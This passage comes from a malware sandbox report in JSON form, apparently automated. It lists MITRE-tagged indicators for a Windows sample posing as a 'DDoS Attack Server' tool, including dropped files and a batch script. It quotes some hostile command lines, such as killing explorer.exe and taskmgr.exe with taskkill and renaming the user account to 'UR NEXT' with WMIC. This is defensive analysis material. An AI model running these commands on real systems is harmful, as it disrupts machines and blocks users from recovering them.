Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$2e","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$2f","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"SelectionItemPatternIdentifiers.ElementRemovedFromSelectionEvent\" (Source: 00000000-00000944.00000001.72452.056C0000.00000004.mdmp, Indicator: \"selectionitempatternidentifiers.elementremovedfromselectionevent\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; File: \"rniw.exe.353619882\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"Sleep@KERNEL32.dll at 25657-313-0040803F","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: rniw.exe)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$30","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"set_UseShellExecute\" (Indicator: \"ShellExecute\"; File: \"DDoS Attack Server_ IP_ URL.bin\")\n Found reference to API \"ShellExecuteExA\" (Indicator: \"ShellExecute\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Contains ability to execute application (Dotnet)","description":"Observed function \"set_UseShellExecute\" in \"DDoS Attack Server_ IP_ URL.bin\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-108","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"Found string \"%WINDIR%\\system32\\cmd.exe /c \"\"%TEMP%\\windl.bat\"\"\" (Indicator: \"\\system32\\cmd.exe /c \"; File: \"cmd.exe\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c \"\"%TEMP%\\windl.bat\"\"\" (Indicator: \"cmd.exe /c\"; File: \"cmd.exe\")\n Found string \"cmd.exe /c\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00000944.00000001.72452.03650000.00000004.mdmp, 00000000-00000944.00000002.74369.03650000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"FindResourceA\" (Indicator: \"FindResource\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found reference to API \"82399899954,4016,3135,,LoadResource,kernel32.dll,\"00:18:51.562\",RX=0,PX=0\" (Indicator: \"LoadResource\"; Source: \"00000000-00000944.00000001.72452.088F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Dotnet)","description":"Observed function \"Process.Start\" in \"DDoS Attack Server_ IP_ URL.bin\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-111","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Contains reference to Windows Startup folder","description":"$31","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-265","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$32","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"SM0:944:64:WilError_01\"\n \"SM0:944:168:WilStaging_02\"\n \"Local\\SM0:944:168:WilStaging_02\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"SM0:2624:168:WilStaging_02\"\n \"SM0:3940:168:WilStaging_02\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Detected file retrieval based on search patterns","description":"Process \"WMIC.exe\" with commandline \"wmic useraccount where name='%OSUSER%' set FullName='UR NEXT'\" (UID: 00000000-00006612)\n Process \"WMIC.exe\" with commandline \"wmic useraccount where name='%OSUSER%' rename 'UR NEXT'\" (UID: 00000000-00007096)","origin":"Monitored Target","mitre_attack_id":"T1083","id":"target-424","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Dotnet code contains ability to modify/delete registry","description":"Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"CreateSubKey\" in \"DDoS Attack Server_ IP_ URL.bin\"\n Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"SetValue\" in \"DDoS Attack Server_ IP_ URL.bin\"","origin":"Static Parser","mitre_attack_id":"T1112","relevance":1,"id":"static-139","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Dotnet source code contains suspicious native API","description":"Observed API \"LoadLibrary\" in \"DDoS Attack Server_ IP_ URL.bin\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-126","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"one.rtf\" as clean (type is \"Rich Text Format data version 1 ANSI\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"Process \"cmd.exe\" with commandline \"%WINDIR%\\\\system32\\\\cmd.exe /c \"\"%TEMP%\\\\windl.bat\"\"\" (UID: 00000000-00005988)","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$33","origin":"API Call","mitre_attack_id":"T1574.002","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"DDoS Attack Server_ IP_ URL.bin\" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Found Native API in Dotnet file","description":"Observed unmanaged function \"SetWindowsHookEx\" in \"DDoS Attack Server_ IP_ URL.bin\"\n Observed unmanaged function \"UnhookWindowsHookEx\" in \"DDoS Attack Server_ IP_ URL.bin\"\n Observed unmanaged function \"CallNextHookEx\" in \"DDoS Attack Server_ IP_ URL.bin\"\n Observed unmanaged function \"LoadLibrary\" in \"DDoS Attack Server_ IP_ URL.bin\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-101","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$34","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"DDoSAttackServer_IP_URL.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 704D0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"DDoSAttackServer_IP_URL.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 75A50000\n \"DDoSAttackServer_IP_URL.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 72260000\n \"cmd.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 75A50000\n \"taskkill.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 75A50000\n \"taskkill.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 72260000\n \"WMIC.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 75A50000\n \"WMIC.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 72260000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"DDoSAttackServer_IP_URL.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 71990000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"DDoSAttackServer_IP_URL.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 73D10000\n \"cmd.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 73D10000\n \"taskkill.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 73D10000\n \"WMIC.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 73D10000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"DDoS Attack Server_ IP_ URL.bin\" was detected as \".NET\" and name: \"Library\"\n \"DDoS Attack Server_ IP_ URL.bin\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"rniw.exe\" was detected as \".NET\" and name: \"Library\"\n \"rniw.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$35","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"DDoS Attack Server_ IP_ URL.bin\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","relevance":1,"id":"static-144","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"DDoS Attack Server_ IP_ URL.bin\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"DDoS Attack Server_ IP_ URL.bin\" has an executable section named \".text\"\n \"rniw.exe\" has an executable section named \".code\"\n \"rniw.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"rniw.exe\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$36","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x6a7c00\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x6a7b1c\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\SysWOW64\\taskkill.exe\" [Source: 00000000-00005988-00000BC0-71087363]\n Observed system executable string:\"%WINDIR%\\SysWOW64\\wbem\\WMIC.exe\" [Source: 00000000-00005988-00000BC0-97370174]\n Observed system executable string:\"%WINDIR%\\system32\\taskkill.exe\" [Source: 00000000-00005988-00000C41-4789982933]\n Observed system executable string:\"%WINDIR%\\System32\\Wbem\\WMIC.exe\" [Source: 00000000-00005988-00000C41-68956318536]\n Observed system executable string:\"%WINDIR%\\System32\\VBoxService.exe\" [Source: 00000000-00002624-00000455-20859262580]\n Observed system executable string:\"%WINDIR%\\system32\\cmd.exe /c \"\"%TEMP%\\windl.bat\"\"\" [Source: cmd.exe]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"cmd.exe\" (UID: 00000000-00005988) was launched with new environment variables: \"PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"cmd.exe\" (UID: 00000000-00005988) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"\n Process \"taskkill.exe\" (UID: 00000000-00002624) was launched with new environment variables: \"PROMPT=\"$P$G\"\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$37","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$38","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"%WINDIR%\\\\system32\\\\cmd.exe /c \"\"%TEMP%\\\\windl.bat\"\"\" on 2023-8-1.17:31:55.789","origin":"Monitored Target","mitre_attack_id":"T1059.003","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\\\system32\\\\cmd.exe /c \"\"%TEMP%\\\\windl.bat\"\"\" (UID: 00000000-00005988)\n Spawned process \"taskkill.exe\" with commandline \"taskkill /f /im explorer.exe\" (UID: 00000000-00002624)\n Spawned process \"taskkill.exe\" with commandline \"taskkill /f /im taskmgr.exe\" (UID: 00000000-00003940)\n Spawned process \"WMIC.exe\" with commandline \"wmic useraccount where name='%OSUSER%' set FullName='UR NEXT'\" (UID: 00000000-00006612)\n Spawned process \"WMIC.exe\" with commandline \"wmic useraccount where name='%OSUSER%' rename 'UR NEXT'\" (UID: 00000000-00007096)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\\\system32\\\\cmd.exe /c \"\"%TEMP%\\\\windl.bat\"\"\" (UID: 00000000-00005988)\n Spawned process \"taskkill.exe\" with commandline \"taskkill /f /im explorer.exe\" (UID: 00000000-00002624)\n Spawned process \"taskkill.exe\" with commandline \"taskkill /f /im taskmgr.exe\" (UID: 00000000-00003940)\n Spawned process \"WMIC.exe\" with commandline \"wmic useraccount where name='%OSUSER%' set FullName='UR NEXT'\" (UID: 00000000-00006612)\n Spawned process \"WMIC.exe\" with commandline \"wmic useraccount where name='%OSUSER%' rename 'UR NEXT'\" (UID: 00000000-00007096)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"rniw.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Write document files in a temp directory","description":"\"DDoSAttackServer_IP_URL.exe\" writes a file C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\one.rtf (UID: 00000000-00000944)","origin":"API Call","mitre_attack_id":"T1119","relevance":2,"id":"api-249","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"DDoSAttackServer_IP_URL.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\icon.ico\"\n \"DDoSAttackServer_IP_URL.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\text.txt\"\n \"DDoSAttackServer_IP_URL.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\windl.bat\"\n \"DDoSAttackServer_IP_URL.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\one.rtf\"\n \"DDoSAttackServer_IP_URL.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\rniw.exe\"\n \"DDoSAttackServer_IP_URL.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\v.mp4\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibrary\" (Indicator: \"LoadLibrary\"; File: \"DDoS Attack Server_ IP_ URL.bin\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"DDoSAttackServer_IP_URL.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"taskkill.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"WMIC.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$39","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$3a","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"DDoSAttackServer_IP_URL.exe\" queries basic process information of the \"C:\\DDoSAttackServer_IP_URL.exe\" (UID: 944)\n \"DDoSAttackServer_IP_URL.exe\" queries basic process information of the \"C:\\Windows\\SysWOW64\\cmd.exe\" (UID: 944)\n \"cmd.exe\" queries basic process information of the \"C:\\Windows\\SysWOW64\\taskkill.exe\" (UID: 5988)\n \"cmd.exe\" queries basic process information of the \"C:\\Windows\\SysWOW64\\wbem\\WMIC.exe\" (UID: 5988)\n \"taskkill.exe\" queries basic process information of the \"C:\\Windows\\explorer.exe\" (UID: 2624)","origin":"API 